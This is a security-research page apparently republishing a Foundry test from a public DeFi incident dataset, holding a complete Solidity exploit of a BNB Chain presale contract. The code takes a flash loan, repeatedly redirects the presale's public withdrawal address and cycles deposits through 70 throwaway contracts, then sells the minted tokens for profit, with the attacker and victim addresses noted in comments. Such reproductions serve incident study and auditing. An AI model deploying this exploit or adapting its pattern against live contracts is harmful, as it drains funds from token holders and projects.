Skip to content
THREATWIRE

Public reproduction file

src/test/2025-05/BetaPresale_exp.sol

Public reproduction file for dataset entry BetaPresale.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-05/BetaPresale_exp.sol211 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5
6// @KeyInfo - Total Lost : 1.921686798824852706 WBNB and 46.474821659738262175 BUSD
7// Attacker : 0xc49f2938327aA2cDc3F2f89Ed17B54b3671F05dE
8// Attack Contract : 0x627ba7A2b5c07546D38614315CE85f28B332d79c
9// Vulnerable Contract : 0x760C2aAa22220f24B9343b2a91A62dD664953853
10// Attack Tx : https://bscscan.com/tx/0x47670c20325924e89aa87fcdd41df88c21246bd972056736e7964799831abf12
11//
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/address/0x760C2aAa22220f24B9343b2a91A62dD664953853#code
14//
15// @Analysis
16// Twitter Guy : https://t.me/defimon_alerts/1092
17//
18// Attack summary: The attacker redirected the presale withdrawal address to its helper, recycled a
19// 100 WBNB flash loan through 70 fresh depositor contracts, sold the minted BETA, and repaid DODO.
20// Root cause: PresaleBEP20.set(address) is public and deposit() enforces its 100 BNB maximum only
21// per msg.sender while immediately forwarding deposited BNB to the mutable withdrawAddress.
23address constant ATTACKER = 0xc49F2938327aa2cDc3F2f89Ed17b54B3671F05DE;
24address constant TRACE_ATTACK_CONTRACT = 0x627BA7A2b5c07546d38614315Ce85F28b332d79C;
25address constant TRACE_HELPER = 0xC8A060Bb258dc126a253519a35484c966B8632e8;
26address constant PRESALE = 0x760c2aAA22220f24b9343b2A91a62dd664953853;
27address constant BETA = 0x2410F2372E8A3C77fbD5D61B88714d14582F37Db;
28address constant BETA_BUSD_PAIR = 0x0096F850E13E2d9127Fe0fb5523965cADD27ffc7;
29address constant BETA_WBNB_PAIR = 0xb238A09D9eC8c15C1441aEE4A5af02A166291076;
30address constant DODO_POOL = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;
31address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
32address constant BUSD_TOKEN = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
33uint256 constant FLASH_LOAN_AMOUNT = 100 ether;
34uint256 constant CHILD_DEPOSITS = 70;
35uint256 constant FIRST_BETA_SALE = 7000 ether;
37interface ITokenLike {
38 function balanceOf(
39 address account
40 ) external view returns (uint256);
41 function transfer(
42 address recipient,
43 uint256 amount
44 ) external returns (bool);
47interface IWBNBLike is ITokenLike {
48 function deposit() external payable;
49 function withdraw(
50 uint256 amount
51 ) external;
54interface IPresaleBEP20 {
55 function set(
56 address payable withdrawAddress
57 ) external;
58 function deposit() external payable;
61interface IPancakePairLike {
62 function token0() external view returns (address);
63 function token1() external view returns (address);
64 function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
65 function swap(
66 uint256 amount0Out,
67 uint256 amount1Out,
68 address to,
69 bytes calldata data
70 ) external;
73interface IDPPFlashLoan {
74 function flashLoan(
75 uint256 baseAmount,
76 uint256 quoteAmount,
77 address assetTo,
78 bytes calldata data
79 ) external;
82contract ContractTest is BaseTestWithBalanceLog {
83 address private profitReceiver;
85 function setUp() public {
86 vm.createSelectFork("bsc", 49_951_833);
88 profitReceiver = makeAddr("profitReceiver");
89 fundingToken = WBNB_TOKEN;
90 attacker = profitReceiver;
92 vm.label(ATTACKER, "Attacker EOA");
93 vm.label(TRACE_ATTACK_CONTRACT, "Trace Attack Contract");
94 vm.label(TRACE_HELPER, "Trace Helper");
95 vm.label(PRESALE, "PresaleBEP20");
96 vm.label(BETA, "BETA");
97 vm.label(BETA_BUSD_PAIR, "BETA/BUSD Pair");
98 vm.label(BETA_WBNB_PAIR, "BETA/WBNB Pair");
99 vm.label(DODO_POOL, "DODO Pool");
100 vm.label(WBNB_TOKEN, "WBNB");
101 vm.label(BUSD_TOKEN, "BUSD");
102 }
104 function testExploit() public balanceLog {
105 assertEq(IPancakePairLike(BETA_BUSD_PAIR).token0(), BETA);
106 assertEq(IPancakePairLike(BETA_BUSD_PAIR).token1(), BUSD_TOKEN);
107 assertEq(IPancakePairLike(BETA_WBNB_PAIR).token0(), BETA);
108 assertEq(IPancakePairLike(BETA_WBNB_PAIR).token1(), WBNB_TOKEN);
110 uint256 wbnbBefore = ITokenLike(WBNB_TOKEN).balanceOf(profitReceiver);
111 uint256 busdBefore = ITokenLike(BUSD_TOKEN).balanceOf(profitReceiver);
113 new BetaPresaleAttack(profitReceiver);
115 assertEq(ITokenLike(WBNB_TOKEN).balanceOf(profitReceiver) - wbnbBefore, 1_921_686_798_824_852_706);
116 assertEq(ITokenLike(BUSD_TOKEN).balanceOf(profitReceiver) - busdBefore, 46_474_821_659_738_262_175);
117 assertEq(ITokenLike(WBNB_TOKEN).balanceOf(DODO_POOL), 261_758_849_579_073_468_662);
118 }
121contract BetaPresaleAttack {
122 constructor(
123 address _profitReceiver
124 ) {
125 BetaPresaleFlashBorrower borrower = new BetaPresaleFlashBorrower(_profitReceiver);
126 borrower.execute();
127 }
130contract BetaPresaleFlashBorrower {
131 address private immutable profitReceiver;
133 constructor(
134 address _profitReceiver
135 ) {
136 profitReceiver = _profitReceiver;
137 }
139 function execute() external {
140 IDPPFlashLoan(DODO_POOL).flashLoan(FLASH_LOAN_AMOUNT, 0, address(this), abi.encode(uint256(1)));
141 }
143 receive() external payable {}
145 function DPPFlashLoanCall(
146 address,
147 uint256 baseAmount,
148 uint256,
149 bytes calldata
150 ) external {
151 require(msg.sender == DODO_POOL, "not DODO");
152 require(baseAmount == FLASH_LOAN_AMOUNT, "unexpected loan");
154 IWBNBLike(WBNB_TOKEN).withdraw(baseAmount);
156 for (uint256 i = 0; i < CHILD_DEPOSITS; ++i) {
157 BetaDepositCycler cycler = new BetaDepositCycler();
158 cycler.depositAndSweep{value: FLASH_LOAN_AMOUNT}(payable(address(this)));
159 }
161 _swapBetaForBusd(FIRST_BETA_SALE);
162 _swapBetaForWbnb(ITokenLike(BETA).balanceOf(address(this)));
164 require(address(this).balance >= FLASH_LOAN_AMOUNT, "BNB was not recycled");
165 IWBNBLike(WBNB_TOKEN).deposit{value: FLASH_LOAN_AMOUNT}();
166 require(ITokenLike(WBNB_TOKEN).transfer(DODO_POOL, FLASH_LOAN_AMOUNT), "flash repay failed");
167 }
169 function _swapBetaForBusd(
170 uint256 betaAmount
171 ) private {
172 IPancakePairLike pair = IPancakePairLike(BETA_BUSD_PAIR);
173 (uint112 reserveBeta, uint112 reserveBusd,) = pair.getReserves();
174 uint256 busdOut = _amountOut(betaAmount, reserveBeta, reserveBusd);
176 require(ITokenLike(BETA).transfer(BETA_BUSD_PAIR, betaAmount), "BETA transfer to BUSD pair failed");
177 pair.swap(0, busdOut, profitReceiver, "");
178 }
180 function _swapBetaForWbnb(
181 uint256 betaAmount
182 ) private {
183 IPancakePairLike pair = IPancakePairLike(BETA_WBNB_PAIR);
184 (uint112 reserveBeta, uint112 reserveWbnb,) = pair.getReserves();
185 uint256 wbnbOut = _amountOut(betaAmount, reserveBeta, reserveWbnb);
187 require(ITokenLike(BETA).transfer(BETA_WBNB_PAIR, betaAmount), "BETA transfer to WBNB pair failed");
188 pair.swap(0, wbnbOut, profitReceiver, "");
189 }
191 function _amountOut(
192 uint256 amountIn,
193 uint256 reserveIn,
194 uint256 reserveOut
195 ) private pure returns (uint256) {
196 uint256 amountInWithFee = amountIn * 998;
197 return amountInWithFee * reserveOut / (reserveIn * 1000 + amountInWithFee);
198 }
201contract BetaDepositCycler {
202 function depositAndSweep(
203 address payable withdrawReceiver
204 ) external payable {
205 IPresaleBEP20(PRESALE).set(withdrawReceiver);
206 IPresaleBEP20(PRESALE).deposit{value: msg.value}();
208 uint256 betaBalance = ITokenLike(BETA).balanceOf(address(this));
209 require(ITokenLike(BETA).transfer(withdrawReceiver, betaBalance), "BETA sweep failed");
210 }

Analysis

Dataset entry

Public Foundry test for “BetaPresale” (2025-05-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

16 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc49f2938327aa2cdc3f2f89ed17b54b3671f05de

  • Attack Contract

    0x627ba7a2b5c07546d38614315ce85f28b332d79c

  • Vulnerable Contract

    0x760c2aaa22220f24b9343b2a91a62dd664953853

  • Attack Tx

    0x47670c20325924e89aa87fcdd41df88c21246bd972056736e7964799831abf12

File record

Name
BetaPresale
Path
src/test/2025-05/BetaPresale_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
73d4bbb405107a5fb2b64f8f6dc0dc6f629a120b
Language
Solidity
Size
212 lines
Date
2025-05-19
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-05/BetaPresale_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 73d4bbb405107a5fb2b64f8f6dc0dc6f629a120b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.